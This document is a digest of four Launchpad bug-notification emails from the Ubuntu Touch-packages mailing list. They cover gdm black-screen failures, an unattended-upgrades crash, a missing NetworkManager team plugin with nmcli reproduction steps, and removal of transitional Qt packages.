[Touch-packages] [Bug 1794280] Re: gdm doesn't start on a fresh installation of Cosmic Desktop
Hi - new here, can confirm that this issue also occurs when logging out. Black screen and hardware completely unresponsive. How can I contribute my system details? -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to kmod in Ubuntu. https://bugs.launchpad.net/bugs/1794280 Title: gdm doesn't start on a fresh installation of Cosmic Desktop Status in gdm3 package in Ubuntu: Won't Fix Status in kmod package in Ubuntu: Confirmed Status in linux package in Ubuntu: Confirmed Status in xorg-server package in Ubuntu: Confirmed Status in gdm3 source package in Cosmic: Won't Fix Status in kmod source package in Cosmic: Confirmed Status in linux source package in Cosmic: Confirmed Status in xorg-server source package in Cosmic: Confirmed Bug description: ubuntu cosmic desktop 20180925 After installation gdm fails to start and there is only a black screen with a blinking cursor on the top left of the screen. gdm3 can be started manually from a tty When this issue happens there is a plymouth crash reported in bug 1794292 ProblemType: Bug DistroRelease: Ubuntu 18.10 Package: gdm3 3.30.0-0ubuntu2 ProcVersionSignature: Ubuntu 4.18.0-7.8-generic 4.18.5 Uname: Linux 4.18.0-7-generic x86_64 ApportVersion: 2.20.10-0ubuntu11 Architecture: amd64 Date: Tue Sep 25 13:54:45 2018 InstallationDate: Installed on 2018-09-25 (0 days ago) InstallationMedia: Ubuntu 18.10 "Cosmic Cuttlefish" - Alpha amd64 (20180925) ProcEnviron: TERM=linux PATH=(custom, no user) LANG=fr_FR.UTF-8 SHELL=/bin/bash SourcePackage: gdm3 UpgradeStatus: No upgrade log present (probably fresh install) mtime.conffile..etc.gdm3.custom.conf: 2018-09-25T13:49:41.053012 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gdm3/+bug/1794280/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1795647] [NEW] /usr/bin/unattended-upgrade:apt_pkg.Error:try_to_upgrade:mark_upgrade_adjusted:call_adjusted:/usr/bin/unattended-upgrade@1991:main:calculate_upgradable_pkgs:try_to
Public bug reported: The Ubuntu Error Tracker has been receiving reports about a problem regarding unattended-upgrades. This problem was most recently seen with package version 1.1ubuntu1.18.04.5, the problem page at https://errors.ubuntu.com/problem/9b828180fea9b17c9544fe682fd13c0b9587907f contains more details, including versions of packages affected, stacktrace or traceback, and individual crash reports. If you do not have access to the Ubuntu Error Tracker and are a software developer, you can request it at http://forms.canonical.com/reports/. ** Affects: unattended-upgrades (Ubuntu) Importance: Undecided Status: New ** Tags: bionic -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to unattended-upgrades in Ubuntu. https://bugs.launchpad.net/bugs/1795647 Title: /usr/bin/unattended- upgrade:apt_pkg.Error:try_to_upgrade:mark_upgrade_adjusted:call_adjusted:/usr/bin /unattended- upgrade@1991:main:calculate_upgradable_pkgs:try_to_upgrade:rewind_cache:mark_install Status in unattended-upgrades package in Ubuntu: New Bug description: The Ubuntu Error Tracker has been receiving reports about a problem regarding unattended-upgrades. This problem was most recently seen with package version 1.1ubuntu1.18.04.5, the problem page at https://errors.ubuntu.com/problem/9b828180fea9b17c9544fe682fd13c0b9587907f contains more details, including versions of packages affected, stacktrace or traceback, and individual crash reports. If you do not have access to the Ubuntu Error Tracker and are a software developer, you can request it at http://forms.canonical.com/reports/. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/unattended-upgrades/+bug/1795647/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1569653] Re: NetworkManager plugin for 'team' unavailable
Same question here. Same configuration and steps work fine with 18.04,
but team plugin not available in 16.04. Is there a solution for 16.04?
Although I can still configure team runner using teamd, having nm to
work will be good. Thanks
--
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to network-manager in Ubuntu.
https://bugs.launchpad.net/bugs/1569653
Title:
NetworkManager plugin for 'team' unavailable
Status in network-manager package in Ubuntu:
Triaged
Bug description:
Versions:
OS: 16.04 amd64 daily build
nmcli 1.0.4
network-manager: 1.0.4-0ubuntu
Symptom:
while creating a team connection with nmcli/nmtui, actions can be done but
failed while activating team connection because no 'team' plugin avaulable.
Reproduce the issue:
$ nmcli c a type team ifname team0 con-name team0 config
'{"runner":{"name":"lacp"}}'
$ for dev in eno1 eno2 eno3 eno4; do
nmcli c a type team-slave ifname $dev con-name teamport-$dev master
team0
done
$ nmcli c up team0
Error: Connection activation failed: NetworkManager plugin for 'team'
unavailable
To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/network-manager/+bug/1569653/+subscriptions
--
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1795635] [NEW] Drop transitional dummy packages for qtquick2 and qttest
Public bug reported: qtdeclarative5-qtquick2-plugin and qtdeclarative5-test-plugin are just transitional dummy packages. Instead use qml-module-qtquick2 and qml- module-qttest ** Affects: unity-api (Ubuntu) Importance: Undecided Status: Confirmed ** Tags: cosmic ** Changed in: unity-api (Ubuntu) Status: New => Confirmed -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to unity-api in Ubuntu. https://bugs.launchpad.net/bugs/1795635 Title: Drop transitional dummy packages for qtquick2 and qttest Status in unity-api package in Ubuntu: Confirmed Bug description: qtdeclarative5-qtquick2-plugin and qtdeclarative5-test-plugin are just transitional dummy packages. Instead use qml-module-qtquick2 and qml- module-qttest To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/unity-api/+bug/1795635/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
